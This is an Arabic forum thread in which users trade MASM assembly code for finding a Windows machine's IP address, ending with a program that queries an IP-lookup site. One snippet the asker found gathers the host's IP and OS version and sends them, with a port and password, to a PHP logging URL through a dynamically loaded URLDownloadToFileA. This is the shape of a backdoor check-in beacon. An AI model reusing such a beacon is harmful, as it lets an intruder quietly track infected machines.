بسم الله الرحمن الرحيم
السلام عليكم
حياكم الله وبياكم إخواني
لدي تساؤل حول كيفية معرفة عنوان ال IP من من خلال كود Assembly
مع مراعاة أن طلبي خاص بالعنوان الخارجي على الإنترنت ، وليس العنوان المحلي على الشبكة الداخلية
بارك الله فيكم
بسم الله الرحمن الرحيم
السلام عليكم
حياكم الله وبياكم إخواني
لدي تساؤل حول كيفية معرفة عنوان ال IP من من خلال كود Assembly
مع مراعاة أن طلبي خاص بالعنوان الخارجي على الإنترنت ، وليس العنوان المحلي على الشبكة الداخلية
بارك الله فيكم
عن طريق GetHostName و GetHostByName , لم اقم بهذا من قبل لربما أضع شفرة مساء إن شاء الله.
Do as I say, not as I do
We are Anonymous. We are Legion. We don't forgive. We don't forget
جزاكم الله خيرا
سأحاول إن شاء الله وأخبركم النتيجة
السلام عليكم
أخي Junkie في أية مكتبة أجد هاتين الدالتين لو تفضلت هل هي في wininet ؟
أخي GamingMasteR عفوا ولكن الملف لا يعمل - للأسف مع ويندوز فيستا شكرا لك
بارك الله فيكما
وجدت هذا الكود ويحتوي على دلة اسمها ShowIP لكن بصراحة تهت كلياً ، للأسف أنا لا اعرف الكثير عن هذه اللغة واحتاج فقط لبرنامج بسيط لعرض رقم الآي بي
.386 .model flat, stdcall include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib include \masm32\include\wsock32.inc includelib \masm32\lib\wsock32.lib include \masm32\include\masm32.inc includelib \masm32\lib\masm32.lib phpsend proto ShowIP proto Main proto GetOs proto .data s_url byte 'http://127.0.0.1/phpfiles/index.php', 0 s_prm1 BYTE '?action=log&ip=', 0 s_prm2 BYTE '&port=', 0 s_port BYTE '100',0 s_prm3 BYTE '&password=', 0 s_pwd BYTE '1234',0 s_prm4 BYTE '&opsys=', 0 s_prm5 BYTE ' ', 0 szOs db 200h dup(0) szNumber db 20h dup(0) szW3X db "W3.X ",0 szW95 db "Windows 95 ",0 szW98 db "Windows 98 ",0 szWME db "Windows ME ",0 szNT3 db "Windows NT3 ",0 szNT4 db "Windows NT4 ",0 szW2K db "Windows 2000 ",0 szWXP db "Windows XP ",0 szWXX db "Windows New ",0 urlDDl byte 'URLDownloadToFileA',0 dllDll byte 'urlmon.dll',0 .data? UrlMonDll byte 11 dup (?) UrlDownload byte 19 dup (?) UrlMon dword ? UrlDownloadToFile dword ? showip BYTE 261 DUP(?) s_result1 BYTE 255 DUP(?) s_result2 BYTE 255 DUP(?) s_result3 BYTE 255 DUP(?) s_result4 BYTE 255 DUP(?) s_result5 BYTE 255 DUP(?) s_result11 BYTE 255 DUP(?) s_result22 BYTE 255 DUP(?) s_result33 BYTE 255 DUP(?) s_result111 BYTE 255 DUP(?) s_result222 BYTE 255 DUP(?) WSAData WSADATA <> l_OSVERSIONINFO OSVERSIONINFOEX <> .code StrLen PROC __InString:DWORD;EAX => Result PUSH EBX PUSH EDX PUSH ESI XOR ESI , ESI DEC ESI MOV EBX , __InString @_Loop: INC ESI MOV DL , [EBX + ESI] TEST DL , DL JNE @_Loop MOV EAX , ESI POP ESI POP EDX POP EBX RET StrLen ENDP StrCat PROC __String1:DWORD,__String2:DWORD,__Destination:DWORD;Local Integers to hold the length of each of the strings LOCAL __Len1:DWORD LOCAL __Len2:DWORD;Push the registers into the stack PUSH EBX PUSH EDX PUSH ESI;Get the First String's Length INVOKE StrLen , __String1 MOV __Len1 , EAX;Get the Second String's Length INVOKE StrLen , __String2 MOV __Len2 , EAX;Copy the first string into the Destination MOV ESI , __String1 MOV EDI , __Destination MOV ECX , __Len1 REP MOVSB;Copy the Second string into the Destination MOV ESI , __String2 MOV EDI , __Destination ADD EDI , __Len1 MOV ECX , __Len2 REP MOVSB;Pop the already pushed registers from the stack POP ESI POP EDX POP EBX RET StrCat ENDP GetOs proc invoke GetModuleHandle, NULL mov l_OSVERSIONINFO.dwOSVersionInfoSize, SIZEOF OSVERSIONINFO invoke GetVersionEx, addr l_OSVERSIONINFO .if l_OSVERSIONINFO.dwPlatformId == VER_PLATFORM_WIN32s invoke szCatStr, addr szOs, addr szW3X .elseif l_OSVERSIONINFO.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS .if l_OSVERSIONINFO.dwMinorVersion == 0 invoke szCatStr, addr szOs, addr szW95 .elseif l_OSVERSIONINFO.dwMinorVersion == 10 invoke szCatStr, addr szOs, addr szW98 .elseif l_OSVERSIONINFO.dwMinorVersion == 90 invoke szCatStr, addr szOs, addr szWME .else invoke szCatStr, addr szOs, addr szWXX .endif .elseif l_OSVERSIONINFO.dwPlatformId == VER_PLATFORM_WIN32_NT .if l_OSVERSIONINFO.dwMajorVersion == 3 invoke szCatStr, addr szOs, addr szNT3 .elseif l_OSVERSIONINFO.dwMajorVersion == 4 invoke szCatStr, addr szOs, addr szNT4 .elseif l_OSVERSIONINFO.dwMajorVersion == 5 .if l_OSVERSIONINFO.dwMinorVersion == 0 invoke szCatStr, addr szOs, addr szW2K .elseif l_OSVERSIONINFO.dwMinorVersion == 1 invoke szCatStr, addr szOs, addr szWXP .else;l_OSVERSIONINFO.dwMinorVersion invoke szCatStr, addr szOs, addr szWXX .endif .else;l_OSVERSIONINFO.dwMajorVersion invoke szCatStr, addr szOs, addr szWXX .endif .else;l_OSVERSIONINFO.dwPlatformId invoke szCatStr, addr szOs, addr szWXX .endif invoke szCatStr, addr szOs, addr l_OSVERSIONINFO.szCSDVersion invoke dwtoa, l_OSVERSIONINFO.dwMajorVersion, addr szNumber invoke dwtoa, l_OSVERSIONINFO.dwMinorVersion, addr szNumber invoke dwtoa, l_OSVERSIONINFO.dwBuildNumber, addr szNumber xor eax,eax mov al, byte ptr l_OSVERSIONINFO.dwBuildNumber + 3 invoke dwtoa, eax, addr szNumber xor eax,eax mov al, byte ptr l_OSVERSIONINFO.dwBuildNumber + 2 invoke dwtoa, eax, addr szNumber xor eax,eax mov ax, word ptr l_OSVERSIONINFO.dwBuildNumber invoke dwtoa, eax, addr szNumber invoke dwtoa, l_OSVERSIONINFO.dwPlatformId, addr szNumber ret GetOs endp ShowIP proc local ip[261]:byte invoke gethostname, addr ip, 261 invoke gethostbyname, addr ip mov eax, [eax + 12] mov eax, [eax] mov eax, [eax] invoke inet_ntoa, eax invoke lstrcpy , addr showip , eax ;invoke MessageBox, NULL,addr showip, addr showip, MB_OK ret ShowIP endp phpsend proc INVOKE StrCat, OFFSET s_url, OFFSET s_prm1, OFFSET s_result1 INVOKE StrCat, OFFSET showip, OFFSET s_prm2, OFFSET s_result2 INVOKE StrCat, OFFSET s_port, OFFSET s_prm3, OFFSET s_result3 INVOKE StrCat, OFFSET s_pwd, OFFSET s_prm4, OFFSET s_result4 INVOKE StrCat, OFFSET szOs, OFFSET s_prm5, OFFSET s_result5 INVOKE StrCat, OFFSET s_result1, OFFSET s_result2, OFFSET s_result11 INVOKE StrCat, OFFSET s_result3, OFFSET s_result4, OFFSET s_result22 INVOKE StrCat, OFFSET s_result11, OFFSET s_result22, OFFSET s_result111 INVOKE StrCat, OFFSET s_result111, OFFSET s_result5, OFFSET s_result222 invoke lstrcat, addr UrlMonDll, addr dllDll invoke lstrcat, addr UrlDownload, addr urlDDl ;loads urlmon.dll invoke LoadLibrary, addr UrlMonDll mov UrlMon, eax ;links URLDownloadToFileA dynamically invoke GetProcAddress, UrlMon, addr UrlDownload mov UrlDownloadToFile, eax ;send push 0 push 0 push 0 push offset s_result222 push 0 call UrlDownloadToFile ret phpsend endp Main proc invoke WSAStartup, 0101h, addr WSAData invoke ShowIP invoke GetOs ;invoke Sleep, 1000 invoke phpsend invoke WSACleanup ret Main endp end Main
تم تعديل هذه المشاركة بواسطة GamingMasteR في 5 فبراير 2008 في 23:59 — السبب: CODE BOX
لكن هذا الكود يظهر الاي بي المحلي مثل 192.168.8.1
عموما هذا هو الكود منقى :
include masm32rt.inc include wsock32.inc includelib wsock32.lib .data? showip BYTE 261 DUP(?) WSAData WSADATA <> .code start: invoke WSAStartup, 0101h, addr WSAData call ShowIP invoke WSACleanup invoke ExitProcess,0 ShowIP proc local ip[261]:byte invoke gethostname, addr ip, 261 invoke gethostbyname, addr ip mov eax, [eax + 12] mov eax, [eax] mov eax, [eax] invoke inet_ntoa, eax invoke lstrcpy,addr showip ,eax invoke MessageBox, NULL,addr showip, addr showip, MB_OK ret ShowIP endp end start
mov eax, dword ptr ds:[0xffdf0308]
jmp dword ptr [eax+0xfc]
في حال كان هناك Router و سيرفر ISA أتصور الطريقة الوحيدة لتحصل على الـ IP الوارد للراوتر هي من خلال ارسال طلب إلى موقع مثل www.whatismyip.com ومن ثم معالجة الرد فالـ IP سيكون داخل الصفحة لتحصل منها عليه.
هذا الرابط لو أرسلت إليه الطلب فهو سيعيد الـ IP فقط ضمن الصفحة:
http://www.whatismyip.com/automation/n09230945.asp
لو كانت اللغة المستخدمة .NET فالـ FW2 فيها وظيفة لهذا الأمر أذكر أنها GetHostEntry
هذا سيقوم بإعطائك الـ IP المطلوب:
.386 .model flat, stdcall include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib include urlmon.inc includelib urlmon.lib .data s_url db 'http://www.whatismyip.com/automation/n09230945.asp', 0 file db 'c:\ip.txt', 0 .data? buff db 50 dup (?) nBytes dd ? rBytes dd ? hFile dd ? .code start: invoke DeleteFile, addr file invoke URLDownloadToFile, NULL, addr s_url, addr file, NULL, NULL invoke CreateFile, addr file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL mov hFile, eax invoke GetFileSize, eax, NULL invoke ReadFile, hFile, addr buff, eax, addr rBytes, NULL invoke CloseHandle, hFile invoke DeleteFile, addr file invoke MessageBox, NULL, addr buff, NULL, MB_OK invoke ExitProcess, NULL end start
تم تعديل هذه المشاركة بواسطة Junkie في 6 فبراير 2008 في 05:34
Do as I say, not as I do
We are Anonymous. We are Legion. We don't forgive. We don't forget
هذا الموضوع مغلق.